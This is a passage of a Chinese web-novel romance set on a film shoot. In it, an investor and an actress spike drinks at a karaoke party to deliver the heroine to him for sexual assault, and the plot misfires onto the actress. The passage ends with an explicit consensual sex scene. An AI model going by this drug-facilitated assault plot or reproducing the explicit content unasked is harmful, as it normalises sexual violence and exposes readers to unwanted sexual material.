这天收工后，江遥又在酒店碰到了朱富春。最近半个月，他来得很勤。组里所有人，几乎都知道了，龚贝儿和他的那点事情。
龚贝儿似乎一点不受影响，每天该干嘛干嘛，比如现在，她站在朱富春身边，挽着他的手臂，乖巧地喊：“江老师好，您下班啦。”大方舒展的姿态，仿佛只是在谈一场普通的恋爱。
龚贝儿房间跟她就隔着一间房，朱富春过来没有固定时间，有时刚开工没多久就出现在片场，有时候，下班才会在电梯里碰到他。一开始，大家难免有点尴尬，多来几次，也都慢慢习以为常。发展到今天，江遥已经能捏着房卡，若无其事地跟龚贝儿寒暄。
朱富春这时基本不会说话，但投资人嘛，总不能装不认识他，江遥点点头，算是和他打了招呼。
两人相携着远去，只留下一串甜美的嗓音，有几个字顺着风飘来，好像是龚贝儿在选晚上吃饭的餐厅。
月底，剧组聚餐。地点定在片场附近的一家酒楼，收工后，大家一起结伴过去。
“怎么突然今天请客。”
“个把月没放假了，牛马也得透透气啊。”
路上吵吵嚷嚷，到了地点，才发现已经有人等在那里，是中途离组的方琦。
“她也来这里吃饭吗？”有人搞不清状况，小声问身边的同伴，同伴伸手扯了扯她，意思是快看。只见走在前方的副导演快步到了门口，跟方琦握手，“方老师，不好意思久等了。”
额。后面的人直接尬住。“不是说得罪了投资人被踢走的，这是什么情况？”
“难道又要换女二？在搞什么啊？”
“对啊，贝儿都拍了那么久了。”龚贝儿和投资人关系好，嘴巴也甜，个把月相处下来，剧组人也失了继续八卦的兴致，一口一个贝儿叫得清甜。
饭菜已经上桌，桌上拘谨的气氛也松弛许多，大家才知道，原来今天是方琦请客。照她的话来说，是之前给工作人员添麻烦了，上次走的匆忙，刚好最近在附近拍戏，就请导演搭桥请大家吃饭，权当赔礼。方琦捧着酒杯跟大家道歉，大家七嘴八舌说着“客气了”“没事儿”，对于演员来说，装装样子不过是顺手的事儿，谁管你几分真心几分假意。
吃完饭，方琦看了看时间，邀请大家去下一摊，“包厢都已经订好了，就在楼上。”
五颜六色的灯光照在身上，江遥眉头不自觉皱了皱。上次来KTV，还是好几年前，几年过去，包厢里的气氛看起来还是和当初差不多，但音响明显升级了。
方琦诚意给的很足，大家过去的时候，零食饮料已经满满摆了好几桌，还有侍应生在不断往内送吃的。龚贝儿坐在点歌机前，积极地为大家点歌。
“江老师，您想唱哪首？”
江遥唱歌本来就是个半吊子，她摆摆手，“我就不献丑了。”
有人起哄，“江老师这就客套了。”
“都是自己人，随便唱两句。”
龚贝儿等了两秒，见她实在没有意愿，微笑着问起下一个。
有人喝酒，有人猜拳，有人鬼哭狼嚎嘶吼，也有人唱功好得像在开演唱会。江遥坐在沙发上，默默听他们一首接一首地唱。
方琦跟副导演聊了几句，坐到江遥旁边：“最近还好吗？”
昏暗的环境遮住了江遥的白眼：“别来这套。”
闹得正嗨的小鱼察觉到这里的动静，挤到江遥身边，不放心地问，“姐，咱们要不要先撤？”
江遥端起面前的杯子喝了口：“没事，你玩着。”别的不说，这果酒味道还挺对她胃口的。她拿起桌上的酒瓶看了眼，默默记下商标。
小鱼从隔壁给她拿了瓶饮料，“果酒喝多了也会上头，你喝这个。”
江遥点头，“嗯，我有数。”小鱼想了想，一点果酒，确实只是小巫见大巫。歌曲切换到下一首，有人问：“谁的？”前奏一响，小鱼立马举手，“我。”
方琦见不得她这种老好人的样，嗤笑，“我说你累不累啊。”
江遥耸肩，无所谓，“还好。”
小鱼就像鱼入海洋，唱完一首，又加入了一旁玩游戏的队伍。方琦也不唱歌，就坐在旁边和江遥不痛不痒地聊着。
嘈杂的环境里，龚贝儿坐在点歌台前，哼唱着一首小甜歌。她的声音很有特色，忙着玩闹的众人，声音不自觉低了下来，一曲结束，大家纷纷鼓掌叫好。
“再来一首。”
“再来一首。”
龚贝儿红着脸，犹豫着正想开口，放在腿上的手机突然开始疯狂震动，她翻过屏幕，向众人鞠躬：“不好意思，我出去接个电话。”
龚贝儿握着手机小跑着拉开门，去找安静的地方打电话，有人重新接过话筒亮起江遥瞥了眼屏幕上的时间，还不到九点。看这阵势，起码还得再闹一阵。
她点开微信，给程绪发消息，才发现他傍晚发的几条，她都忘了回复。
他们每天都在断断续续联系着，微信上的他比现实中话多了许多，发出去的每一条消息，基本都能得到回复。江遥按着手机，一句句回过去。程绪的消息很快过来，问她是不是收工了。
江遥说，「我们在唱歌。」
他回：「我都没听你唱过。」
她想笑，又碍着方琦还在不远处，只好严丝合缝，戴好脸上的面具，「你不会想听的。」
说完又加了句：「我也没听你唱过。」
程绪引用了她的回复，「想的。」
「回来让你点歌。」
江遥怕他反悔，立马回了个拉勾的表情，「一言为定。」
龚贝儿这电话接了许久，江遥本以为她不会再回来，大约二十分钟后，包厢的门再次被推开。一个男人，跟着她走了进来。
龚贝儿没有再去点歌，安安静静地陪着朱富春坐在沙发上，插了块蜜瓜递到她嘴边，朱富春侧过脸，“我自己来。”
方琦笑着坐过去，和朱富春打招呼：“哎哟朱总，又见面了。”朱富春冷淡地扫了她一眼，“方小姐。”
方琦丝毫不以为忤，自顾自从朱总年少有为说到以后请多提携。旁边的人目光闪了闪，稍稍往远处挪了点。在这个圈子，大家早已习惯
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戴着面具生活，不闻不问，有时候就是对自己的保护。
包厢内，各种声音此起彼伏，兴头上的众人也没有多余的心思分给这个角落，江遥捏着手机，喝了口杯中的酒，告诉程绪一会儿就走了。
“江小姐酒量不错。”朱富春不知什么时候注意到她的动作，端起酒杯，笑着和方琦说，“一起喝一杯？”
江遥疑心方琦是不是将朱富春得罪了个干净，不然曾经的枕边人，再如何也不至于直接被从剧组扫地出门，回过头来，还得上赶着巴结奉承。不过朱富春的资源，自然也不是什么张导李导可比的。
江遥将手机塞进口袋，“当然，我的荣幸。”
朱富春示意龚贝儿倒酒，龚贝儿拿过酒瓶，一一给大家斟满，又拿过一只杯子，准备给自己倒。朱富春盖住她的手，轻笑着摇头，“宝贝，这可就不乖了。”
江遥突然想起小鱼念叨过的八卦，当时她对朱富春的评价是：自己玩得不知道多花，竟然喜欢乖乖女这样的。对于八卦的真实性，两人都表示可信度不高，不然，方琦该怎么解释呢？怎么看，怎么都和乖乖女没有半点儿相像。
江遥心内翻了个白眼，只想赶紧喝完回去睡。或许今晚，她能找小鱼刷新一下答案。
龚贝儿羞涩地瞟了方琦和江遥一眼，仓促从朱富春手底下移开，瓶中的酒洒了几点出来，刚好落在江遥另一只手上。她掏出纸巾，忙不迭道歉，“江老师，对不起。”甜美的声音，在夜晚染上一丝疲惫，甜意不在，机械而苍白。
自己又不是多么不通情达理的人，怎么把人吓成这样，江遥无奈笑笑：“没关系的，等会儿我手都要给你擦破皮了。”方琦也说：“真没事，方老师脾气可比我好多了。”她举起酒杯，“来，我们一起敬朱总一杯。”
方琦仰头干掉，江遥也没有扭捏，一口喝完手中的酒，抹了抹嘴边的水，跟朱富春告别，“朱总，我先失陪。”
她挎上随身的小包，准备去喊小鱼一起回家。起身的动作太急，眼前突然一黑。她扶着桌子坐下，揉了揉额角，“头好晕。”
方琦扶了她一把，“是不是喝太急了，晕就先坐会儿。”她翻着酒瓶看了看，房间昏暗，看不清具体的度数，不过果酒嘛，也高不了太多。
江遥对自己的酒量心中有数：“就是刚刚起太快，坐会儿就没事了。”
包间的厕所被从里面锁住，小鱼喝了不少饮料，见江遥还在那沙发上坐着，夹着屁股匆匆忙忙出去找厕所。回来的时候，江遥刚刚坐着的位置已经空了。
“这里的人去哪儿了？”她拉了旁边的人来问，那人也是刚刚坐过来，摇头说没看见。旁边桌上，有人说刚走不久，“江老师好像是喝醉了，方老师送她回去的。”
小鱼又问龚贝儿，那人一脸你在搞什么的表情，“贝儿？她早就走了啊。”
小鱼脚下一软，“完了。”江遥连白酒都能喝，几杯果酒怎么能把她喝醉呢？何况最后还是被方琦带走的。她就说方琦怎么会突然出现在这里，还这么好心又是吃饭又是唱K，原来从始至终，醉翁之意都不在酒。
90. 隐瞒
但是，带着喝醉的江遥，方琦又能干点什么呢？她克制着脸上的情绪，问：“你知不知道他们去了哪里。”
那人摇摇头，“这我没有注意，不是回剧组酒店就是直接在这里开房间睡吧，你先打方老师电话问问看。”
江遥的电话她已经打了几轮，重新播过去，还是只有“嘟——嘟——”的响声，响到最后，电话自动挂断。她又调出方琦的手机号，一打，还是同样的情况。她想问问龚贝儿是否清楚江遥最后是什么状况，系统提示音一遍遍提醒，“您拨打的用户已关机。”
跟了江遥几年，小鱼从没处理过这样的情况，如果她还在身旁，一定会笑她，“这么点事至于吗。”小鱼呼出一口气，“别慌，别慌。”
楼上，侍应生关上门，站在男人身侧，轻声提醒，“朱总，人已经在里面了。”
朱富春挥挥手，系好浴袍，“好了，下去吧。”
血液直冲头顶，他感觉到一股久违的冲动，流遍全身。身体已经胀得发疼，朱富春晃了晃酒杯，起身，踩着节拍，慢悠悠靠近房门。良液入喉，殷红的色泽，正如鲜花凋零的伤痕。
女孩蜷缩在大床中央，散乱的长发在白皙的脊背上铺展，他摇了摇发晕的脑袋，在床边坐下，伸手去握江遥袒露在外的肩膀。
手下的肌肤，透着不正常的热，朱富春眯着眼睛低笑：“怎么这么害羞。”顾念着她是初次，他已经特意嘱咐将量减了又减，控制在不会伤身的范围。奈何天生媚骨，再少的剂量，也能勾出风情无边。朱富春喉头上下滚动，握着那圆润的肩头亲了亲，到底还是撤回手，摇摇摆摆地坐去另一侧。
江遥的头发很长，有几绺扫过脸庞，垂在身前，完美的面容半遮半掩，被子下，更不知是怎样的风光摇曳。喝下去的东西开始发挥效用，朱富春睁着迷蒙的眼睛，也没了继续慢条斯理的耐心，他急切地掀开被子……
已经是晚上十点，有客人匆匆从外赶来，三两步就跑到了柜台前，小鱼递上身份证，“你好，我要一间房。”
前台抱歉地笑：“最后一间已经在刚刚订完。”
小鱼忙问：“预订人是不是姓方。”
前台笑着回：“不好意思，这是客户的隐私。”
小鱼着急：“是方琦对不对，就是演戏那个方琦，我是助理，跟她一起的，打她电话没人接。”她说着把手机递到她面前。
前台目光微动，示意她在旁边沙发上等一等：“不好意思女士，我帮您问问。”
小鱼哪里还坐得住，好在前台很快确认好情况，递给她一张房卡，客气地请她上楼。
侍应生的身影已经消失在电梯口，江遥又等了会儿才起身，按下下行的按钮。电梯显示还停在负一层，她抱着手臂，想起龚贝儿轻微而颤抖的那声，“小心。”
甜美的嗓音染上仓惶，不知道是在求救还是示警。
方琦和朱富春的关系阴湿而混乱，两人一起出现在这里，江遥心中早就起了怀疑。说什么陪龚贝儿来打招呼，私生活堪比春宫图的投资人，怎么可能真的对一个女孩动真心。
而且以她对方琦的了解，既然上次已经求得朱富春回心转意，就不可能在一个晚上又将他得罪彻底，甚至交恶到扫出剧组的程度。要知道，投资人的身份一摆出，导演都只能跟着跑前跑后，谁又想做那和石头硬碰的刺头。
朱富春这样喜欢做表面功夫的人，又哪至于为了一个新欢，当着众人的面彻底将旧爱踩到脚底，毕竟他们也代表着他另一张脸。
江遥若无其事地喝下杯中的酒，见龚贝儿的手又不自觉地抖了抖。她借着灯光的遮掩，将喝下的酒全部吐在了袖口。
杯中放的是什么，她也没心思再去猜，谁又能断言这些东西没点儿奇奇怪怪的副作用呢。江遥放心大胆地捂着额头，靠着沙发喃喃着，“我的头……”
朱富春客气地关怀了两句，带着龚贝儿说要走。作为好友，方琦自然不能丢下江遥不管，只好客气地请他先行，“等会儿我送遥遥回去。”
衣服掉落在床脚，原始的渴望驱使着朱富春肆意挞伐。什么徐徐图之，怜香惜玉，他通通不想再去管，身下的女人配合着，一起癫狂。
小鱼匆匆走出电梯，一抬头，要找的人就在眼前站着。绷着的弦一松，眼泪就有点不受控，江遥迈进电梯，声音平稳：“我没事，回去再说。”看起来，像她才是受惊的那人。
回酒店的路上，她把发生的事跟小鱼讲了讲，小鱼扁着嘴，又是一副要哭的模样。
“好了好了，我这不是好好的嘛。”
小鱼好不容易缓下来，又开始给她上课，“知道不对就不要再喝，那么多人呢他们也不能把我们怎么样的。”
江遥摸了摸鼻子，该怎么说，她就是好奇他们葫芦里卖什么药。只有千日做贼，哪有千日防贼的呢。
她将小鱼哄好，两人道完晚安，小鱼磨磨蹭蹭地往外走，江遥又忽然想起了什么，“今天的事不要对他说。”
小鱼会意，犹疑地看了她一眼，这种事情，她自然是站在她这边。但是……“朱富春那边，不会再来找麻烦吧？”
江遥冷笑，“过两天就知道了。”
两天后，无事发生，江遥还是照常出工收工。隔壁的房间紧紧关着门，第二天上午，龚贝儿请假离组，这几天，江遥再也没有碰到朱富春。
小鱼猜测：“她估计是不好意思见你。”
江遥想起她总是能量满满的模样，“谁知道呢。”
其实这几天，朱富春自己也不太好过。当药力褪去，他看清怀中的人，一股反胃感瞬间直冲喉咙。方琦靠在他怀里，见他醒来，手指微动，还没摆好表情，就被一股力道猛地掀了出去。
方琦呆呆坐在地板上，看到朱富春怒气冲冲地起身，她想后退，过往的经验又告诉她，不能退。结结实实的一巴掌落下来，方琦被扇得偏过头去，听他在耳旁嘶声怒吼，“贱人！”
她和他相处这么久，见过他的冷酷和残忍，却从没有直面过他暴怒的神情。他像是一个以别人苦痛为乐的假人，戴着温和的面具，做着残暴的事情。
但不该是这样的，面对这些的人，本该是江遥，昨晚倒下的明
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明是江遥，被这个暴徒惦记的，也一直是江遥。
她记得，朱富春和龚贝儿走后，江遥在沙发上靠了许久，一开始说头痛，后来又闹着说渴。神志不清的模样，像是一只待宰的羔羊。再过几分钟，侍应生就会过来敲门，她又给她倒了杯酒，陪着她喝掉，哄她起身：“时间不早了，我送你回去。”也许是下的剂量过轻，江遥始终没有彻底昏沉，念叨了几声小鱼，又开始要唱歌，她撑着发晕的脑袋，恨不得给她叫一声姑奶奶。之后的记忆，就彻底断在了那里。
她想问问江遥在哪里，但她知道，问出来只会让他更生气。看他现在这模样，定是以为昨晚已经美人在抱，谁知道一夜醒来，还是自己这昨日黄花。
他下手的力道一点也没收，于是她也放任心中的不平挤压到胸口，逼着眼眶溢出两点水珠，好不可怜地扑在他脚边，承认自己的卑微。
“朱总，我明明已经交代好，让他们把江遥带给您的啊。”说完，她突然意识到不对，在进门时，她交代侍应生的原话是，“将那喝醉的女生给朱总送过去”，所以，最后那桌上，自己成了那喝醉的替死鬼，那么江遥呢，是已经被其他人带走，还是又有什么发生了？
她知道现在不是自己辩解的时候，一切都得等出去再说。事成之后的资源，大概率是不会再有，新开的这部，也只能听天由命了。她握紧自己的双手，却清晰地感觉到，有些东西，并不是努力就可以得到。凭什么，江遥就能一直高高在上，想要的东西，招招手就可以得到？！
江遥理解不了她的脑回路，她正在捧着手机，给程绪说早安。
昨晚回去已经很晚，侍应生径直扛起方琦，引导她上楼休息。多犹豫一秒，都是对八卦的不尊重，她将手机直接调成静音，跟着他走进另一道电梯门。程绪打过来的电话，她是一点也没听到。还好，小鱼回房后看到手机，给他回拨了电话，不然这一大早上，还有得解释呢。
“好了，小鱼在叫我。”江遥嫌弃地说，“没事挂了。”
程绪看不到她的表情，但不难想象出她此时的神情，一定是眉头微微蹙着，小嘴向下弯起一个弧度，明明白白告诉他，我不开心了。以往这时候，她恨不得给他来场现场直播，他也乐得陪她折腾。
江遥正想起身，程绪突然问：“方不方便开视频。”
要不要这么敏感，江遥四处看了看，怀疑有人在房间装了监控。不过拆监控的事儿还得往后稍稍，她整了整衣服，露出小半张脸和睡成多眼皮的眼睛，没好气地问：“你瞧瞧这好看吗？”
“哪里不好看。”他理所当然地问。江遥很怀疑，他的审美能力到底是降了几个层级。
男人的身影笼罩在头顶，像是挥散不去的乌云，方琦连呼吸也不敢弄出太大动静，朱富春没动，她也就坐在原地没有起身。等了许久，他终于拉开房门，房门轻撞着阖拢。侍应生捧着早餐在门口等了许久，见他出来，积极地迎上前，朱富春扫了身前的人一眼，笑着吩咐，“好好伺候方老师。”
侍应生抬头，看清朱富春的表情，躬声应道：“我明白了。”
91. 挖墙脚
龚贝儿是在第四天傍晚回来的，江遥那天很晚才下戏，在试衣间门口，听到两个姑娘在聊天。他们估计也没想到隔墙有耳，一个说，“反正她跟投资人关系硬，再多请几天，又有谁敢说什么。”另一个说，“导演不也是拿她没办法，我们能怎么办，只能供着咯。”
小鱼这一天都跟在她身边，也并没有见到庞贝儿，她翻着有限的消息跟她同步，“庞贝儿回来了，据说是豪车直接送到了酒店门口。”江遥阻止她继续往后说，“当没事发生过。”
大家心照不宣地继续之后的拍摄，那天晚上的事，不适合放到太阳底下来说。只是有一次，拍完一场阖家团圆的戏份，江遥无意碰见，庞贝儿坐在凳子上默默流泪。不是那种声嘶力竭的大哭，她似乎没有意识到，眼泪一直在不自觉地往下流，落在戏服上，晕出一片水渍。
江遥递了张纸巾过去，庞贝儿锁着眉头，像不明白她在做什么。江遥说，“擦擦吧。”庞贝儿这是才反应过来，摸了摸自己的脸，又羞愧难当地站起身，“不好意思江老师，我就是想家了。”江遥微微点头。
十二月初，电影杀青，江遥飞回A城。
下半年的行程一直在进组和出组之间，江遥和Susie商量，下一部戏可以先缓一缓。Susie说没问题，演员也需要时间来充电，真切地感受生活，才能在故事里有更多表达欲。江遥本以为两人达成了共识，打算好好先休息几天，结果Susie又马不停蹄地给她接了几个活动。
“下一部戏可以慢慢选，但你的关注度得保持住，年底活动密集不缺曝光，主要是接下来这一个月，要平稳过渡。我给你挑了几个品牌和公益活动，一个维持商业价值，一个拓展口碑，都在A城，不会占用你太多时间。”
江遥妥协，Susie直接将一份资料拍到她怀里，“这个活动就在后天，你抽空熟悉下台本。”
江遥打着哈欠坐上保姆车，程绪跟她一起出门。去公司的路上，绕道回了一趟家。
前两天看到周颂，他拐弯抹角地问起，程叔叔是不是身体不太舒服，“脸色看起来不太好。”
程绪并没有听说。程元峰身体一向不错，连感冒咳嗽都很难得，所以每到这种时候，许婉清都得变着法儿地给他说，中心思想只有一个：回家看看你爸爸。
程绪回得突然，许婉清愣了一下才起身，“阿绪，怎么这时候回来了？”
程元峰腿上盖着毛毯，坐在沙发上翻看着一本杂志，见他进来，扫了一眼，又低下头。他的脸色带着微微的苍白，确实是病中的模样，程绪坐过去，问：“哪里不舒服？”
程元峰抬起头，不悦地皱着眉头：“现在连爸都不会叫了？”眉心拧出一道沟壑，程绪也不是故意来惹他生气，顺着话说，“不舒服就少生气，多注意休息。”
许婉清终于找到同盟，拉着他的手一起指责，“一个感冒让他吃药偏不吃，拖了大半个月才见好，你爸这臭脾气你也知道，说他还不乐意。”她说着说着眼泪就上来了，程元峰只好拉着许婉清又哄又劝，“就你大惊小怪，换季感个冒多常见。”又转身来喊他，“你倒是帮着说句话。”
难得这爷俩没有一见面就剑拔弩张，赵姨见状，吩咐厨房备餐，“阿绪，午饭就在家里吃吧？”许婉清红着眼眶抬头，等着他说点什么，程绪点头应下，赵姨欢欢喜喜吩咐开了。
这么一耽误，程绪回家就有点晚了。江遥知道他要加班，也没管他，自顾自抱着被子睡了过去。程绪什么时候回来的，她完全没有知觉，迷糊中感觉有人掀开被子躺进来，下意识滚到他怀里，抱住。
江遥睡觉没有开灯的习惯，黑暗的房间，看不清她的表情，温热的被窝，散发着属于她的香甜，在这初冬的夜晚，带着致命的吸引，如此真切而动人。他确信，这一刻，他抓住幸福了。他在她脸上吻了吻，江遥缩缩脖子，嘟囔，“我好困。”又将没捂热的脚往他那边伸，程绪笑着拥紧她，“嗯，晚安。”
从晚上九点就开始睡，江遥醒来的时候，程绪还在睡梦中。她枕在他胸口，听他轻轻的呼吸声，程绪的手放在她腰上，她的腿毫不客气地搭在他腿间。像是共生的枝条，彼此攀援。
躺了许久，他还没有醒，江遥不自觉动了动，程绪睁开眼睛，看了下时间，又将她往怀里搂了搂，“怎么醒这么早，再睡会儿？”低沉的声音，带着微微的哑。
江遥说好，闭上眼睛，却完全没有睡意，程绪便也睡不着了，问她：“现在起床吗？”
江遥在他怀里翻了个身，摸到自己的手机，一看，刚刚六点多。她又滚回来，抱着他的腰，“不想起。”
窗帘拉上，房里一丝光也没有透进来。有人还在睡梦中，他们在亲密接吻。江遥能感觉到他的冲动，程绪却停了下来，问她：“想不想见见我爸妈？”
江遥看不清他的表情，不知道他们的关系，是不是有所缓和。但她知道，这样优秀的儿子，人生的每一步，都应该得到家人的祝福，但是……会不会有点早了？
黑暗掩住涌动的暗流，江遥安静地思索，程绪便也没有说话，默默等一个回答，明明只有几秒，对他而言，却漫长得仿佛永远等不到天亮。
还好，她在黑暗里重新抱住他，“年后好不好。”顿了顿，又说：“给我点时间，我有点紧张。”
程绪抚着她的长发，“没事，年后可以的，就是找个时间一起吃顿饭。”
江遥说他是站着说话不腰疼，“那是你爸妈，你自然不紧张。”
程绪掐着她的腰，去堵她的嘴巴，笑着说：“你也可以带我回家。”
江遥记不清自己有没有回答这句话，接下来几天，躺在家里享受自己的休假时间。等到汪静静杀青回来，两人约着出去吃了顿饭。
她给程绪发消息，晚饭在外面吃，程绪知道她和汪静静吃饭，问介不介意他一起，江遥会意，去问汪静静的意见。
闺蜜的男友，以后也少不了打交道，汪静静想
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了想，答应了。于是，两个人的晚餐，变成了三个人一起。
店子是汪静静选的，火锅。汪静静是无辣不欢的选手，顾忌着程绪，点了个鸳鸯锅，等菜端上来，一张桌子都没法儿摆。
说是程绪请客，其实他主要负责涮锅。江遥和汪静静在那边叽叽喳喳，两人天南海北地聊，总免不了跑偏话题，当程绪第二次听到他们凑在一起，讨论某个超嫩的“小鲜肉”时，无声叹了口气，将盘里的肥牛下锅。
汪静静发表感慨，江遥说：“确实还不错。”汪静静啧了声，“可不，太老就嚼不动了。”程绪捞起一片肥牛，放进江遥碗里，“可以吃了。”江遥说声“谢谢”，吃完又继续之前的话题。
汪静静觑了眼程绪的脸色，偷偷在心里乐。
程绪去开车，江遥和汪静静又稍座了会儿才起身，出门的时候，碰到了个熟人。江遥愣了一下，装作不认识的模样，拉着汪静静就走，朱富春开口，“好久不见了。”
他这句话一落，江遥就感觉到，脸上挨了一刀。朱富春手上挂着一个女人，看起来年纪不大，还不懂得遮掩自己的言行，看到江遥他们，像是护食的雏鸟，颇有敌意地嗖嗖放着眼刀。就算这两人口罩墨镜捂得严实，也不妨碍她接收到危险的讯号。
朱富春拍了拍她的手，“去车上等我。”女人扭着身子跺脚，“我不要。”朱富春又轻声在她耳畔说了什么，女人才点点头，一步三回头地走了。朱富春少在镜头前露面，汪静静也只当她是遇到了认识的朋友，看她一眼，也站远了点，等在旁边。
这里没有外人，朱富春笑得温和，“江小姐，是否有兴趣和我合作？”
墨镜和口罩遮住了江遥的脸，也遮住了她脸上的厌恶，朱富春继续说，“聪明人，应该有更好的选择。”
实话说，在同龄人中，朱富春算是还不错，偏儒雅的长相，身材高大，暂时也还没秃顶走样，投资过几部大剧，据说和黑白两道都有牵涉，他身边的位置，总有人趋之若鹜，光她见过的情人就有好几个。江遥心内一哂，谦恭地回复：“谢谢朱总抬爱，我就是个普通人。”
朱富春一副似笑非笑的模样，“像你这么漂亮的女人，理当有人好好爱护。等你考虑清楚，可以随时来找我。”江遥没有再回复。
两人带着一身火锅味回家，辛辣的气味终于盖掉他身上熟悉的清冷味道，像是冰块在红油锅里滚了一遭，在热辣辣的凡尘间融化。等电梯的时候，江遥蹭在他怀里咯吱咯吱地笑。程绪觉得莫名其妙，问她，她也只说累了，要抱抱。
室外的空气寒冷而干燥，江遥窝在家里，安心地过冬。每天早上起床，都能看到程绪留下的字条，下班的时候，他会给她带新出的蛋糕，江遥一边抗议，一边将跑步的时间加量。
Susie见她时间充裕，又唰唰签了两个活动。室外的风刮得人皮肤生疼，江遥提着裙摆，穿过黑压压的人群。粉丝追着车疯狂尖叫，小鱼缩了缩脖子，莫名有点惆怅。
92. [锁] [此章节已锁]
鞋子有点磨脚，脚后跟被挤得红了一片，也许是闲散了几天，身体一时还没有适应过来节奏。江遥到家就往沙发上一倒，刷了会儿手机，才起身进了浴室卸妆洗漱。
小鱼发了几张活动照片过来，她选了两张，登上微博，编辑发送。热搜上的词条五花八门，江遥随便滑了滑，有人在推广活动造型，有人在剧宣玩梗，也有人在分享学习进程。眼皮越来越重，她想再撑一撑，用尽全身力气，也抵不过那强大的困意。
程绪回来的时候，客厅的灯亮如白昼，沙发上，江遥安安静静睡得正香。他将带回的零食放进冰箱，抱她去床上，虽然她总嚷着会胖，其实，抱在怀中，并没有什么重量。程绪替她拉好被子，进了隔壁书房。
江遥的梦也不安宁，梦里模模糊糊闪过年少的场景，梦里的她不断摇头，想说“不，我们回不去了”，却怎么也没法开口。挣扎着醒来，房间暖气开得很足，额头已经微微汗湿了，床头柜上放着一杯水，摸了摸，还是温的。她捧着杯子抿了一口，踩着拖鞋去隔壁找人。
房门没有锁，轻轻一推，书桌上的人抬起头。江遥打着哈欠，问他：“怎么还不睡？”
再自然不过的招呼，似乎从初识开始，二人就是这样的模式相处。柔和的灯光照在头顶，翻开的书页铺在桌面，程绪边收拾书桌边应她的话，“就来。”
大部分时间都是她在被他管束，江遥难得抓到他的把柄，不满地哼哼，“好哇，让我早睡，自己背着我偷偷熬夜，你是不是贼喊捉贼。”
什么乱七八糟的，程绪握住她伸到面前的手，提醒她，“你看看现在几点。”
江遥就着他的手看了下时间，瞪圆眼睛，额，好像确实是自己睡太早。出师不利，但不能弱了气势，她转开眼睛，小声嘟囔，“也不看看自己几岁，年纪大了更不能熬夜。”
两人离得很近，小小的念叨声，就这么幽幽往他耳里钻。程绪低头看了她一眼，很快，又移开。江遥感觉他身上的气息都随着收拢的书卷，一起敛了起来，她不安地瞥他，侧脸的轮廓，冷硬而淡漠，江遥又垂下眼睫，去拉他的手，“走，睡了。”
江遥知道自己说错了话，错过时机解释，气氛就这么一直落了下去。关门、上床、躺下，一切都在沉默中进行，他肃着一张脸，替她掖好被角，又来帮她暖脚。每到冬天，她的脚就跟冰块一样，出去一趟，暖乎乎的脚丫又变得冰凉，她自己早已习惯，他却不喜欢听她这么吊儿郎当。
他有很多奇奇怪怪的坚持，也有很多可可爱爱的想法，她搂紧他，轻轻去吻他的脸颊。看他冷寂的眸子渐渐热起来，看他坚硬的外壳慢慢融化掉，在冬日静寂的夜里，两人热烈拥抱。
自己点起的火，反将她紧紧包裹。今晚的他，认真而沉默。喘息的声音很急很重，落在身上的唇，又烫又深，江遥听到自己擂鼓一般的心跳声，他的动作是行动的指令，或急或缓，全由他掌控。她曾想过无数次，修长有力的手指，多么适合在乐器上拨动，昏昏沉沉里，他早已化身乐师，她就是他指下的弦，一声声震颤，都是对他的回应。
“程绪……”破碎的声音，传不到他耳中。她攀着他，手指不自觉用力，在他身上肆意发泄。程绪已经感觉不到痛楚，藏在湖底的贪念露出水面，她的吟哦，让他更收不住手。但不能这样。
江遥手遮在脸上，不想让他看到自己现在的模样，她张着嘴用力地呼吸，怀疑自己下一刻就会喘不上气。他又变得温柔，细细密密的吻落在唇畔、耳侧，性感的喘息，似乎要燃尽空气里最后一丝氧气。
为何明明已经靠得这么近，心底最深处，还是有一角空落落。她迷茫地睁着眼睛，不知道自己在期盼什么。
不对，不是这样的，你知道的，她听到心底有声音，在冷冷地嘲笑她的自欺欺人。她弓起身子，去追逐他的轨迹，再紧一点，再近一点……
身上的人突然抽身离去，江遥颤着身子，睁开眼。可怜的姑娘睁着迷蒙的眼睛，似嗔似怨，程绪闭了闭眼，忍不住唾弃自己的道德底线。他拍着她的肩膀，轻轻去吻她，“睡吧。”
今夜的他，没有力气再伪装，江遥顺着他的动作，看清那眼底的心疼、懊恼，还有不容错辨的欲望。她慢慢阖上眼睛，心想，凭什么都要由他来决定。
程绪将她搂进怀里，身体隔开一点距离，等着冲动的情绪慢慢平复。现在跟她说结婚，她一定不会答应，或许，可以先偷偷领个证。他乱七八糟地想了又想，又不断推翻自己的假想。
江遥翻了个身，手指无意识碰到他身上，身体的血液一瞬间下涌，他绷着身子，像炸毛的刺猬般，看她笑着舔上他的脖颈，呼吸轻轻，“我就知道，你也很想吧。”
她说的是，“也”。有什么在脑子里炸开，又被零碎的理智拼起来，他躲着她的手，“不行，家里没有……”后面的话消失在他喉咙里，也或许他并没有说。
“没有什么？”江遥疑惑。
他深深看她一眼，又紧紧抿着嘴。
江遥愣了愣，突然反应过来，“有的。”他去咬他的耳朵，轻轻告诉他，“在柜子下……”是之前和汪静静逛街的时候，顺手牵的羊。她将它悄悄藏起，不忍直面自己的想法，又期盼着，他能打开它。
她将东西递到他手上，程绪嗫嚅着，一点也不像他。江遥笑着去咬他的下巴，最后，却哭着想逃。
他脸上的汗顺着下巴滴下来，落在她身上，她听到他温柔叮嘱，“不舒服跟我说。”
江遥点头，望着他拆开包装，低下头，重新吻上她。
推进的道路缓慢而艰难，他皱着眉，听她凑在耳畔，颤抖着身子，甜甜地说着不着调的情话。他身上的青筋根根爆起，额头冒出细细密密的汗，利刃归鞘的瞬间，江遥忍不住失声尖叫。她感觉到自己，像被巨浪裹挟的鱼，辨不出方向，也看不清前路，只能在即将溺毙的窒息里，随着浪涛，舒展、起伏。
一阵惊涛骇浪后，世界又重新恢复平静，她终于得以上岸，躺在沙滩上，低喘着将回忆放空。是被好心人放归大海，又或者被谁带回家珍藏，不管结局如何，她已无力思考了。
身下的人安安静静躺着，雪白的皮肤泛起粉嫩
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的红色，他又重新找到她的唇，伸出舌尖逗弄。冷峻的脸庞，染上未知的柔和，像破晓的日光，从海平面一跃而出，霞光撒向四野，展示着惊人的绮丽。原始的野性，将他簇拥得更加迷人而性感。她不服输地和他缠绕追逐，最后，又被他压在身下。
江遥哑着嗓子，推搡着默不作声的人：“你好了没有……”
他隐忍地低哼，“快了。”
江遥终于崩溃，哭唧唧地去抓他的背，“你之前就是这么说的。”
她却不知道，猫儿大的力气只会挠得人更心痒。到最后，江遥彻底支撑不住。
醒来的时候，他细长的手指正拿着毛巾，认真地帮她擦洗，江遥后知后觉到一点尴尬，干脆阖着眼睛，不看他。
